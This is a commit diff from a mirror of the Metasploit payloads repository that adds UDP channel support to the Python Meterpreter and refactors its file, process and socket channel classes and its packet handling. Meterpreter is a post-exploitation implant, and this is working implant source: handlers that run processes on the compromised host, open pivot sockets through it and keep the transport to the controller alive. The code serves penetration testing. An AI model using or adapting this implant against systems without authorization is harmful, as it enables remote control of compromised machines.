1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00

Land , add UDP channel support to Python meterpreter

This commit is contained in:
Brent Cook 2018-04-06 16:42:13 -05:00
commit 5f09a324bf
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 246 additions and 126 deletions

@ -871,7 +871,7 @@ def channel_open_stdapi_net_tcp_client(request, response):
pass pass
if not connected: if not connected:
return ERROR_CONNECTION_ERROR, response return ERROR_CONNECTION_ERROR, response
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock)) channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@ -883,7 +883,19 @@ def channel_open_stdapi_net_tcp_server(request, response):
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.bind((local_host, local_port)) server_sock.bind((local_host, local_port))
server_sock.listen(socket.SOMAXCONN) server_sock.listen(socket.SOMAXCONN)
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock)) channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@register_function
def channel_open_stdapi_net_udp_client(request, response):
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT).get('value', 0)
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', 0)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((local_host, local_port))
channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, (peer_host, peer_port)))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@ -1006,7 +1018,7 @@ def stdapi_sys_process_execute(request, response):
response += tlv_pack(TLV_TYPE_PID, proc_h.pid) response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id) response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
channel_id = meterpreter.add_channel(proc_h) channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@ -1686,7 +1698,7 @@ def stdapi_net_socket_tcp_shutdown(request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR) how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
channel = meterpreter.channels[channel_id] channel = meterpreter.channels[channel_id]
channel.shutdown(how) channel.sock.shutdown(how)
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
def _linux_get_maps(): def _linux_get_maps():

@ -377,38 +377,167 @@ def tlv_pack(*args):
return data return data
@export @export
def tlv_pack_response(result, response): def tlv_pack_request(method, parts=None):
response += tlv_pack(TLV_TYPE_RESULT, result) pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
response = struct.pack('>I', len(response) + 4) + response pkt += tlv_pack(TLV_TYPE_METHOD, method)
return response pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
parts = parts or []
for part in parts:
pkt += tlv_pack(part['type'], part['value'])
return pkt
#@export #@export
class MeterpreterFile(object): class MeterpreterChannel(object):
def core_close(self, request, response):
self.close()
return ERROR_SUCCESS, response
def core_eof(self, request, response):
response += tlv_pack(TLV_TYPE_BOOL, self.eof())
return ERROR_SUCCESS, response
def core_read(self, request, response):
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, self.read(length))
return ERROR_SUCCESS, response
def core_write(self, request, response):
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
response += tlv_pack(TLV_TYPE_LENGTH, self.write(channel_data))
return ERROR_SUCCESS, response
def close(self):
raise NotImplementedError()
def eof(self):
return False
def is_alive(self):
return True
def notify(self):
return None
def read(self, length):
raise NotImplementedError()
def write(self, data):
raise NotImplementedError()
#@export
class MeterpreterFile(MeterpreterChannel):
def __init__(self, file_obj): def __init__(self, file_obj):
self.file_obj = file_obj self.file_obj = file_obj
super(MeterpreterFile, self).__init__()
def __getattr__(self, name): def close(self):
return getattr(self.file_obj, name) self.file_obj.close()
def eof(self):
return self.file_obj.tell() >= os.fstat(self.file_obj.fileno()).st_size
def read(self, length):
return self.file_obj.read(length)
def write(self, data):
self.file_obj.write(data)
return len(data)
export(MeterpreterFile) export(MeterpreterFile)
#@export #@export
class MeterpreterSocket(object): class MeterpreterProcess(MeterpreterChannel):
def __init__(self, proc_h):
self.proc_h = proc_h
super(MeterpreterProcess, self).__init__()
def close(self):
self.proc_h.kill()
def is_alive(self):
return self.proc_h.poll() is None
def read(self, length):
data = ''
stdout_reader = self.proc_h.stdout_reader
if stdout_reader.is_read_ready():
data = stdout_reader.read(length)
return data
def write(self, data):
self.proc_h.write(data)
return len(data)
export(MeterpreterProcess)
#@export
class MeterpreterSocket(MeterpreterChannel):
def __init__(self, sock): def __init__(self, sock):
self.sock = sock self.sock = sock
self._is_alive = True
super(MeterpreterSocket, self).__init__()
def __getattr__(self, name): def core_write(self, request, response):
return getattr(self.sock, name) try:
status, response = super(MeterpreterSocket, self).core_write(request, response)
except socket.error:
self.close()
self._is_alive = False
status = ERROR_FAILURE
return status, response
def close(self):
return self.sock.close()
def fileno(self):
return self.sock.fileno()
def is_alive(self):
return self._is_alive
def read(self, length):
return self.sock.recv(length)
def write(self, data):
return self.sock.send(data)
export(MeterpreterSocket) export(MeterpreterSocket)
#@export #@export
class MeterpreterSocketClient(MeterpreterSocket): class MeterpreterSocketTCPClient(MeterpreterSocket):
pass pass
export(MeterpreterSocketClient) export(MeterpreterSocketTCPClient)
#@export #@export
class MeterpreterSocketServer(MeterpreterSocket): class MeterpreterSocketTCPServer(MeterpreterSocket):
pass pass
export(MeterpreterSocketServer) export(MeterpreterSocketTCPServer)
#@export
class MeterpreterSocketUDPClient(MeterpreterSocket):
def __init__(self, sock, peer_address):
super(MeterpreterSocketUDPClient, self).__init__(sock)
self.peer_address = peer_address
def core_write(self, request, response):
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value', self.peer_address[0])
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', self.peer_address[1])
try:
length = self.sock.sendto(channel_data, (peer_host, peer_port))
except socket.error:
self.close()
self._is_alive = False
status = ERROR_FAILURE
else:
response += tlv_pack(TLV_TYPE_LENGTH, length)
status = ERROR_SUCCESS
return status, response
def read(self, length):
return self.sock.recvfrom(length)[0]
def write(self, data):
self.sock.sendto(data, self.peer_address)
export(MeterpreterSocketUDPClient)
class STDProcessBuffer(threading.Thread): class STDProcessBuffer(threading.Thread):
def __init__(self, std, is_alive): def __init__(self, std, is_alive):
@ -451,14 +580,17 @@ class STDProcess(subprocess.Popen):
subprocess.Popen.__init__(self, *args, **kwargs) subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False self.echo_protection = False
def is_alive(self):
return self.poll() is None
def start(self): def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive)
self.stdout_reader.start() self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive)
self.stderr_reader.start() self.stderr_reader.start()
def write(self, channel_data): def write(self, channel_data):
self.stdin.write(channel_data) length = self.stdin.write(channel_data)
self.stdin.flush() self.stdin.flush()
if self.echo_protection: if self.echo_protection:
end_time = time.time() + 0.5 end_time = time.time() + 0.5
@ -468,6 +600,7 @@ class STDProcess(subprocess.Popen):
out_data = self.stdout_reader.peek(len(channel_data)) out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data: if out_data == channel_data:
self.stdout_reader.read(len(channel_data)) self.stdout_reader.read(len(channel_data))
return length
export(STDProcess) export(STDProcess)
class Transport(object): class Transport(object):
@ -573,6 +706,7 @@ class Transport(object):
return result return result
def send_packet(self, pkt): def send_packet(self, pkt):
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.request_retire = False self.request_retire = False
try: try:
self._send_packet(self.encrypt_packet(pkt)) self._send_packet(self.encrypt_packet(pkt))
@ -827,7 +961,9 @@ class PythonMeterpreter(object):
return func return func
def add_channel(self, channel): def add_channel(self, channel):
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) if not isinstance(channel, MeterpreterChannel):
debug_print('[-] channel object is not an instance of MeterpreterChannel')
raise TypeError('invalid channel object')
idx = self.next_channel_id idx = self.next_channel_id
self.channels[idx] = channel self.channels[idx] = channel
debug_print('[*] added channel id: ' + str(idx) + ' type: ' + channel.__class__.__name__) debug_print('[*] added channel id: ' + str(idx) + ' type: ' + channel.__class__.__name__)
@ -902,69 +1038,72 @@ class PythonMeterpreter(object):
self._transport_sleep = None self._transport_sleep = None
if not self.transport.activate(): if not self.transport.activate():
self.transport_change() self.transport_change()
continue continue
# iterate over the keys because self.channels could be modified if one is closed # iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys()) channel_ids = list(self.channels.keys())
for channel_id in channel_ids: for channel_id in channel_ids:
channel = self.channels[channel_id] channel = self.channels[channel_id]
data = bytes() data = bytes()
if isinstance(channel, STDProcess): write_request_parts = []
if isinstance(channel, MeterpreterProcess):
if not channel_id in self.interact_channels: if not channel_id in self.interact_channels:
continue continue
if channel.stderr_reader.is_read_ready(): proc_h = channel.proc_h
data = channel.stderr_reader.read() if proc_h.stderr_reader.is_read_ready():
elif channel.stdout_reader.is_read_ready(): data = proc_h.stderr_reader.read()
data = channel.stdout_reader.read() elif proc_h.stdout_reader.is_read_ready():
elif channel.poll() != None: data = proc_h.stdout_reader.read()
elif not channel.is_alive():
self.handle_dead_resource_channel(channel_id) self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient): elif isinstance(channel, MeterpreterSocketTCPClient):
while select.select([channel.fileno()], [], [], 0)[0]: while select.select([channel.fileno()], [], [], 0)[0]:
try: try:
d = channel.recv(1) d = channel.read(1)
except socket.error: except socket.error:
d = bytes() d = bytes()
if len(d) == 0: if len(d) == 0:
self.handle_dead_resource_channel(channel_id) self.handle_dead_resource_channel(channel_id)
break break
data += d data += d
elif isinstance(channel, MeterpreterSocketServer): elif isinstance(channel, MeterpreterSocketTCPServer):
if select.select([channel.fileno()], [], [], 0)[0]: if select.select([channel.fileno()], [], [], 0)[0]:
(client_sock, client_addr) = channel.accept() (client_sock, client_addr) = channel.sock.accept()
server_addr = channel.getsockname() server_addr = channel.sock.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) client_channel_id = self.add_channel(MeterpreterSocketTCPClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST) self.send_packet(tlv_pack_request('tcp_channel_open', [
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open') {'type': TLV_TYPE_CHANNEL_ID, 'value': client_channel_id},
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8'))) {'type': TLV_TYPE_CHANNEL_PARENTID, 'value': channel_id},
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id) {'type': TLV_TYPE_LOCAL_HOST, 'value': inet_pton(channel.sock.family, server_addr[0])},
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id) {'type': TLV_TYPE_LOCAL_PORT, 'value': server_addr[1]},
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0])) {'type': TLV_TYPE_PEER_HOST, 'value': inet_pton(client_sock.family, client_addr[0])},
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1]) {'type': TLV_TYPE_PEER_PORT, 'value': client_addr[1]},
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) ]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) elif isinstance(channel, MeterpreterSocketUDPClient):
pkt = struct.pack('>I', len(pkt) + 4) + pkt if select.select([channel.fileno()], [], [], 0)[0]:
self.send_packet(pkt) try:
data, peer_address = channel.sock.recvfrom(65535)
except socket.error:
self.handle_dead_resource_channel(channel_id)
else:
write_request_parts.extend([
{'type': TLV_TYPE_PEER_HOST, 'value': peer_address[0]},
{'type': TLV_TYPE_PEER_PORT, 'value': peer_address[1]},
])
if data: if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST) write_request_parts.extend([
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') {'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8'))) {'type': TLV_TYPE_CHANNEL_DATA, 'value': data},
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) {'type': TLV_TYPE_LENGTH, 'value': len(data)},
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) ])
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) self.send_packet(tlv_pack_request('core_channel_write', write_request_parts))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def handle_dead_resource_channel(self, channel_id): def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id] del self.channels[channel_id]
if channel_id in self.interact_channels: if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id) self.interact_channels.remove(channel_id)
pkt = struct.pack('>I', PACKET_TYPE_REQUEST) self.send_packet(tlv_pack_request('core_channel_close', [
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') {'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8'))) ]))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def _core_set_uuid(self, request, response): def _core_set_uuid(self, request, response):
new_uuid = packet_get_tlv(request, TLV_TYPE_UUID) new_uuid = packet_get_tlv(request, TLV_TYPE_UUID)
@ -1060,7 +1199,7 @@ class PythonMeterpreter(object):
def _core_transport_change(self, request, response): def _core_transport_change(self, request, response):
new_transport = Transport.from_request(request) new_transport = Transport.from_request(request)
self.transport_add(new_transport) self.transport_add(new_transport)
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
self.transport_change(new_transport) self.transport_change(new_transport)
return None return None
@ -1079,7 +1218,7 @@ class PythonMeterpreter(object):
new_transport = self.transport_next() new_transport = self.transport_next()
if new_transport == self.transport: if new_transport == self.transport:
return ERROR_FAILURE, response return ERROR_FAILURE, response
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
self.transport_change(new_transport) self.transport_change(new_transport)
return None return None
@ -1087,7 +1226,7 @@ class PythonMeterpreter(object):
new_transport = self.transport_prev() new_transport = self.transport_prev()
if new_transport == self.transport: if new_transport == self.transport:
return ERROR_FAILURE, response return ERROR_FAILURE, response
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
self.transport_change(new_transport) self.transport_change(new_transport)
return None return None
@ -1127,7 +1266,7 @@ class PythonMeterpreter(object):
def _core_transport_sleep(self, request, response): def _core_transport_sleep(self, request, response):
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value'] seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
if seconds: if seconds:
self._transport_sleep = seconds self._transport_sleep = seconds
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@ -1136,7 +1275,9 @@ class PythonMeterpreter(object):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_open_' + channel_type['value'] handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions: if handler not in self.extension_functions:
debug_print('[-] core_channel_open missing handler: ' + handler)
return error_result(NotImplementedError), response return error_result(NotImplementedError), response
debug_print('[*] core_channel_open dispatching to handler: ' + handler)
handler = self.extension_functions[handler] handler = self.extension_functions[handler]
return handler(request, response) return handler(request, response)
@ -1145,31 +1286,23 @@ class PythonMeterpreter(object):
if channel_id not in self.channels: if channel_id not in self.channels:
return ERROR_FAILURE, response return ERROR_FAILURE, response
channel = self.channels[channel_id] channel = self.channels[channel_id]
if isinstance(channel, subprocess.Popen): status, response = channel.core_close(request, response)
channel.kill() if status == ERROR_SUCCESS:
elif isinstance(channel, MeterpreterFile): del self.channels[channel_id]
channel.close() if channel_id in self.interact_channels:
elif isinstance(channel, MeterpreterSocket): self.interact_channels.remove(channel_id)
channel.close() debug_print('[*] closed and removed channel id: ' + str(channel_id))
else: return status, response
return ERROR_FAILURE, response
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
debug_print('[*] closed and removed channel id: ' + str(channel_id))
return ERROR_SUCCESS, response
def _core_channel_eof(self, request, response): def _core_channel_eof(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels: if channel_id not in self.channels:
return ERROR_FAILURE, response return ERROR_FAILURE, response
channel = self.channels[channel_id] channel = self.channels[channel_id]
result = False status, response = channel.core_eof(request, response)
if isinstance(channel, MeterpreterFile):
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
def _core_channel_interact(self, request, response): def _core_channel_interact(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels: if channel_id not in self.channels:
@ -1187,67 +1320,42 @@ class PythonMeterpreter(object):
def _core_channel_read(self, request, response): def _core_channel_read(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels: if channel_id not in self.channels:
return ERROR_FAILURE, response return ERROR_FAILURE, response
channel = self.channels[channel_id] channel = self.channels[channel_id]
data = '' status, response = channel.core_read(request, response)
if isinstance(channel, STDProcess): if not channel.is_alive():
if channel.poll() != None: self.handle_dead_resource_channel(channel_id)
self.handle_dead_resource_channel(channel_id) return status, response
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(channel, MeterpreterFile):
data = channel.read(length)
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
return ERROR_SUCCESS, response
def _core_channel_write(self, request, response): def _core_channel_write(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels: if channel_id not in self.channels:
return ERROR_FAILURE, response return ERROR_FAILURE, response
channel = self.channels[channel_id] channel = self.channels[channel_id]
l = len(channel_data) status = ERROR_FAILURE
if isinstance(channel, subprocess.Popen): if channel.is_alive():
if channel.poll() != None: status, response = channel.core_write(request, response)
self.handle_dead_resource_channel(channel_id) # evaluate channel.is_alive() twice because it could have changed
return ERROR_FAILURE, response if not channel.is_alive():
channel.write(channel_data) self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterFile): return status, response
channel.write(channel_data)
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
except socket.error:
channel.close()
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_LENGTH, l)
return ERROR_SUCCESS, response
def create_response(self, request): def create_response(self, request):
resp = struct.pack('>I', PACKET_TYPE_RESPONSE) response = struct.pack('>I', PACKET_TYPE_RESPONSE)
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
resp += tlv_pack(method_tlv) response += tlv_pack(method_tlv)
resp += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8'))) response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
handler_name = method_tlv['value'] handler_name = method_tlv['value']
if handler_name in self.extension_functions: if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name] handler = self.extension_functions[handler_name]
try: try:
debug_print('[*] running method ' + handler_name) debug_print('[*] running method ' + handler_name)
result = handler(request, resp) result = handler(request, response)
if result is None: if result is None:
return return
result, resp = result result, response = result
except Exception: except Exception:
debug_traceback('[-] method ' + handler_name + ' resulted in an error') debug_traceback('[-] method ' + handler_name + ' resulted in an error')
result = error_result() result = error_result()
@ -1261,8 +1369,8 @@ class PythonMeterpreter(object):
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
if not reqid_tlv: if not reqid_tlv:
return return
resp += tlv_pack(reqid_tlv) response += tlv_pack(reqid_tlv)
return tlv_pack_response(result, resp) return response + tlv_pack(TLV_TYPE_RESULT, result)
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork') _try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0): if not _try_to_fork or (_try_to_fork and os.fork() == 0):